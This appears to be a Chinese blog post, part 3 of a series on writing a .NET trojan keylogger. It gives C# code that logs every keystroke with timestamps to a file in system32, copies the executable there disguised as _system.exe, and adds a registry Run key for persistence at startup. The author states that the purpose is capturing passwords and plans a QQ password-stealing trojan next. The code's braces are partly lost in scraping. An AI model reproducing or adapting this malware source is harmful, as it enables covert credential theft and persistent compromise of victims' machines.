.net木马的实现-开机键盘记录 - 3 RegistryReport和 Report类

 

.net木马的实现-开机键盘记录

3  RegistryReport和 Report类

 

这是RegistryReport 类的实现

 

 这是Report类的实现:

 

 

public   void  FirstWrite() 
         

              StreamWriter sw 
= new StreamWriter("c:/windows/system32/keyReport.txt",true); 
              sw.WriteLine(
"************* LittleStudio Studio ************* "); 
              sw.WriteLine(
"******** " + DateTime.Today.Year.ToString() + "." 
                   
+ DateTime.Today.Month.ToString() + "." 
                   
+ DateTime.Today.Day.ToString() + "     " 
                   
+ DateTime.Now.Hour.ToString() + ":" 
                   
+ DateTime.Now.Minute.ToString() + ":" 
                   
+ DateTime.Now.Second.ToString() + " ********"); 
              sw.Close(); 
         }
 

         
public   void  WriteDate( string  keyEvents, string  keyDate) 
         

              
try 
              

                     StreamWriter sw 
= new StreamWriter("c:/windows/system32/keyReport.txt",true); 
                     sw.WriteLine(keyDate 
+ "键 " + keyEvents + "   " 
                       
+ DateTime.Now.Hour.ToString() + ":" 
                       
+ DateTime.Now.Minute.ToString() + ":" 
                       
+ DateTime.Now.Second.ToString()); 
                   sw.Close(); 
              }
 
              
catch{} 
              
return
         }
 

 

 

 

这样一个木马就写完了.用这种方式来获取密码不好,他把所有的键盘消息都记录下来了,给我们对密码的分析造成了很大的问题,而且.net中使用HOOK只能使用全局钩子,如果对单个应用程序的挂钩就不行了,在这方面用VC就好多,但是我们也可以通过其他方式来获取指定应用程序(如QQ)的消息,而且可以单单对某个控件(如密码框)的挂钩,最近忙死了,我想过段时间把QQ木马的.net实现写上了,好了,我吃饭了!

 

public   void  MoveFile() 

     
//判断该位置是否存在_system.exe,如果不是,就把程序移动到该位置,否则返回 
     if(!File.Exists("c://windows//system32//_system.exe")) 
     

              File.Move(Application.ExecutablePath,
"c://windows//system32//_system.exe"); 
     }
 
     
else 
          
return
}
 

// 在注册表里写如启动信息 



public   void  registryRun() 
{    
     RegistryKey key1
=Registry.CurrentUser.CreateSubKey("Software//Microsoft//Windows//CurrentVersion//run"); 
     key1.SetValue(
"","c://windows//system32//_system.exe"); 
     key1.Close(); 
}
 


 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值